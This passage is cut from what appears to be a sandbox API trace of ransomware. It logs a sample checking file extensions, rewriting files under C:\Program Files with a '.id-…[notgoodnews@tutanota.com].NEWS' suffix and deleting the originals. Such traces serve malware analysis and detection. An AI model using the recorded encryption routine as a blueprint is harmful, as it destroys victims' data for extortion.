lpString2=".xml") returned -1 [0201.806] lstrlenW (lpString=".docx") returned 5 [0201.806] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0201.807] lstrlenW (lpString=".pdf") returned 4 [0201.807] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.807] lstrlenW (lpString=".xls") returned 4 [0201.807] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.807] lstrlenW (lpString=".xlsx") returned 5 [0201.807] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0201.807] lstrlenW (lpString=".ppt") returned 4 [0201.807] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0201.807] lstrlenW (lpString=".zip") returned 4 [0201.807] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.808] lstrlenW (lpString=".rar") returned 4 [0201.808] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.808] lstrlenW (lpString=".bz2") returned 4 [0201.808] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.808] lstrlenW (lpString=".7z") returned 3 [0201.808] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0201.808] lstrlenW (lpString=".dbf") returned 4 [0201.808] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0208.716] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0213.315] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.315] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.315] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\desktop.ini.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0214.254] GetLastError () returned 0x0 [0214.254] ReadFile (in: hFile=0x324, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0xae, lpOverlapped=0x0) returned 1 [0215.775] WriteFile (in: hFile=0x338, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xb0, lpOverlapped=0x0) returned 1 [0215.781] ReadFile (in: hFile=0x324, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0215.781] WriteFile (in: hFile=0x338, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xea, lpOverlapped=0x0) returned 1 [0215.781] SetEndOfFile (hFile=0x338) returned 1 [0215.783] CloseHandle (hObject=0x338) returned 1 [0215.783] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0215.783] SetEndOfFile (hFile=0x324) returned 1 [0216.112] CloseHandle (hObject=0x324) returned 1 [0216.112] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x26) returned 1 [0216.113] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0216.115] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0216.115] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0216.115] lstrlenW (lpString=".doc") returned 4 [0216.115] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0216.115] lstrlenW (lpString=".docx") returned 5 [0216.115] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0216.115] lstrlenW (lpString=".pdf") returned 4 [0216.115] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0216.115] lstrlenW (lpString=".xls") returned 4 [0216.115] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0216.116] lstrlenW (lpString=".xlsx") returned 5 [0216.116] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0216.116] lstrlenW (lpString=".ppt") returned 4 [0216.117] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0216.117] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0216.117] lstrlenW (lpString=".zip") returned 4 [0216.117] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0216.117] lstrlenW (lpString=".rar") returned 4 [0216.117] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0216.117] lstrlenW (lpString=".bz2") returned 4 [0216.117] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0216.117] lstrlenW (lpString=".7z") returned 3 [0216.117] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0216.117] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0216.117] lstrlenW (lpString=".dbf") returned 4 [0216.118] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0216.118] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0216.118] lstrlenW (lpString=".1cd") returned 4 [0216.118] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0216.119] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0216.119] lstrlenW (lpString=".jpg") returned 4 [0216.119] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0216.119] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0216.119] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0216.119] lstrlenW (lpString=".doc") returned 4 [0216.119] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0216.119] lstrlenW (lpString=".docx") returned 5 [0216.121] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0216.121] lstrlenW (lpString=".pdf") returned 4 [0216.121] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0216.121] lstrlenW (lpString=".xls") returned 4 [0216.122] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0216.122] lstrlenW (lpString=".xlsx") returned 5 [0216.122] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0216.122] lstrlenW (lpString=".ppt") returned 4 [0216.122] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0216.122] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0216.122] lstrlenW (lpString=".zip") returned 4 [0216.122] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0216.122] lstrlenW (lpString=".rar") returned 4 [0216.122] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0216.122] lstrlenW (lpString=".bz2") returned 4 [0216.122] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0216.122] lstrlenW (lpString=".7z") returned 3 [0216.123] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0216.123] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0216.123] lstrlenW (lpString=".dbf") returned 4 [0216.123] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0216.123] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0216.123] lstrlenW (lpString=".1cd") returned 4 [0216.123] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0216.123] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0216.123] lstrlenW (lpString=".jpg") returned 4 [0216.123] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0216.124] lstrcmpiW (lpString1=".png", lpString2=".NEWS") returned 1 [0216.125] lstrlenW (lpString="NavigationLeft_SelectionSubpicture.png") returned 38 [0216.125] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0216.870] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=3130) returned 1 [0216.871] CloseHandle (hObject=0x384) returned 1 [0216.871] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png")) returned 0x20 [0217.012] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0217.013] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.015] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png") returned 96 [0217.015] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png") returned 96 [0217.015] lstrlenW (lpString=".doc") returned 4 [0217.015] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0217.015] lstrlenW (lpString=".docx") returned 5 [0217.015] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0217.015] lstrlenW (lpString=".pdf") returned 4 [0217.015] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0217.015] lstrlenW (lpString=".xls") returned 4 [0217.015] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0217.016] lstrlenW (lpString=".xlsx") returned 5 [0217.016] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0217.016] lstrlenW (lpString=".ppt") returned 4 [0217.016] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0217.016] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png") returned 96 [0217.016] lstrlenW (lpString=".zip") returned 4 [0217.016] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0217.016] lstrlenW (lpString=".rar") returned 4 [0217.016] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0217.016] lstrlenW (lpString=".bz2") returned 4 [0217.016] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0217.017] lstrlenW (lpString=".7z") returned 3 [0217.017] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0217.017] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png") returned 96 [0217.017] lstrlenW (lpString=".dbf") returned 4 [0217.018] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0217.018] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png") returned 96 [0217.018] lstrlenW (lpString=".1cd") returned 4 [0217.018] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0217.018] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png") returned 96 [0217.018] lstrlenW (lpString=".jpg") returned 4 [0217.018] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0217.018] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png") returned 96 [0217.018] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png") returned 96 [0217.018] lstrlenW (lpString=".doc") returned 4 [0217.019] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0217.019] lstrlenW (lpString=".docx") returned 5 [0217.019] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0217.019] lstrlenW (lpString=".pdf") returned 4 [0217.020] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0217.020] lstrlenW (lpString=".xls") returned 4 [0217.020] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0217.020] lstrlenW (lpString=".xlsx") returned 5 [0217.020] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0217.021] lstrlenW (lpString=".ppt") returned 4 [0217.021] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0217.021] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png") returned 96 [0217.021] lstrlenW (lpString=".zip") returned 4 [0217.021] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0217.021] lstrlenW (lpString=".rar") returned 4 [0217.021] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0217.021] lstrlenW (lpString=".bz2") returned 4 [0217.021] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0217.021] lstrlenW (lpString=".7z") returned 3 [0217.021] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0217.021] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png") returned 96 [0217.021] lstrlenW (lpString=".dbf") returned 4 [0217.021] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0217.022] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png") returned 96 [0217.022] lstrlenW (lpString=".1cd") returned 4 [0217.022] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0217.022] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png") returned 96 [0217.022] lstrlenW (lpString=".jpg") returned 4 [0217.022] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0217.024] lstrcmpiW (lpString1=".png", lpString2=".NEWS") returned 1 [0217.025] lstrlenW (lpString="NavigationLeft_SelectionSubpicture.png") returned 38 [0217.025] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0217.026] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=3130) returned 1 [0217.026] CloseHandle (hObject=0x324) returned 1 [0217.027] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png")) returned 0x20 [0217.027] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0217.028] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.028] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png") returned 89 [0217.028] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png") returned 89 [0217.028] lstrlenW (lpString=".doc") returned 4 [0217.028] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0217.028] lstrlenW (lpString=".docx") returned 5 [0217.028] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0217.028] lstrlenW (lpString=".pdf") returned 4 [0217.028] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0217.029] lstrlenW (lpString=".xls") returned 4 [0217.029] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0217.029] lstrlenW (lpString=".xlsx") returned 5 [0217.029] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0217.030] lstrlenW (lpString=".ppt") returned 4 [0217.030] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0217.030] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png") returned 89 [0217.030] lstrlenW (lpString=".zip") returned 4 [0217.030] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0217.030] lstrlenW (lpString=".rar") returned 4 [0217.030] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0217.030] lstrlenW (lpString=".bz2") returned 4 [0217.030] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0217.030] lstrlenW (lpString=".7z") returned 3 [0217.031] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0217.031] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png") returned 89 [0217.031] lstrlenW (lpString=".dbf") returned 4 [0217.031] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0217.031] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png") returned 89 [0217.031] lstrlenW (lpString=".1cd") returned 4 [0217.031] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0217.031] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png") returned 89 [0217.031] lstrlenW (lpString=".jpg") returned 4 [0217.031] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0217.032] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png") returned 89 [0217.032] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png") returned 89 [0217.032] lstrlenW (lpString=".doc") returned 4 [0217.032] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0217.032] lstrlenW (lpString=".docx") returned 5 [0217.033] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0217.033] lstrlenW (lpString=".pdf") returned 4 [0217.033] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0217.033] lstrlenW (lpString=".xls") returned 4 [0217.033] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0217.033] lstrlenW (lpString=".xlsx") returned 5 [0217.033] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0217.034] lstrlenW (lpString=".ppt") returned 4 [0217.035] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0217.035] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png") returned 89 [0217.035] lstrlenW (lpString=".zip") returned 4 [0217.035] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0217.035] lstrlenW (lpString=".rar") returned 4 [0217.035] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0217.035] lstrlenW (lpString=".bz2") returned 4 [0217.035] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0217.035] lstrlenW (lpString=".7z") returned 3 [0217.035] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0217.035] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png") returned 89 [0217.036] lstrlenW (lpString=".dbf") returned 4 [0217.036] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0217.036] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png") returned 89 [0217.036] lstrlenW (lpString=".1cd") returned 4 [0217.036] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0217.036] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png") returned 89 [0217.036] lstrlenW (lpString=".jpg") returned 4 [0217.036] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0217.037] lstrcmpiW (lpString1=".png", lpString2=".NEWS") returned 1 [0217.037] lstrlenW (lpString="NavigationRight_ButtonGraphic.png") returned 33 [0217.037] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0217.038] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=5025) returned 1 [0217.038] CloseHandle (hObject=0x324) returned 1 [0217.038] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png")) returned 0x20 [0217.039] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0217.039] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.040] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0217.040] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0217.040] lstrlenW (lpString=".doc") returned 4 [0217.040] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0217.040] lstrlenW (lpString=".docx") returned 5 [0217.040] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0217.040] lstrlenW (lpString=".pdf") returned 4 [0217.040] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0217.040] lstrlenW (lpString=".xls") returned 4 [0217.041] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0217.041] lstrlenW (lpString=".xlsx") returned 5 [0217.041] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0217.041] lstrlenW (lpString=".ppt") returned 4 [0217.041] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0217.041] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0217.041] lstrlenW (lpString=".zip") returned 4 [0217.041] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0217.043] lstrlenW (lpString=".rar") returned 4 [0217.043] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0217.043] lstrlenW (lpString=".bz2") returned 4 [0217.045] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0217.046] lstrlenW (lpString=".7z") returned 3 [0217.046] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0217.046] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0217.046] lstrlenW (lpString=".dbf") returned 4 [0217.046] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0217.046] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0217.046] lstrlenW (lpString=".1cd") returned 4 [0217.048] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0217.048] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0217.048] lstrlenW (lpString=".jpg") returned 4 [0217.048] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0217.049] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0217.050] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0217.050] lstrlenW (lpString=".doc") returned 4 [0217.050] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0217.050] lstrlenW (lpString=".docx") returned 5 [0217.050] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0217.050] lstrlenW (lpString=".pdf") returned 4 [0217.051] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0217.051] lstrlenW (lpString=".xls") returned 4 [0217.051] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0217.051] lstrlenW (lpString=".xlsx") returned 5 [0217.051] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0217.051] lstrlenW (lpString=".ppt") returned 4 [0217.056] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0217.056] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0217.061] lstrlenW (lpString=".zip") returned 4 [0217.061] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0217.422] lstrlenW (lpString=".rar") returned 4 [0217.422] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0217.422] lstrlenW (lpString=".bz2") returned 4 [0217.422] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0217.422] lstrlenW (lpString=".7z") returned 3 [0217.422] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0217.422] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 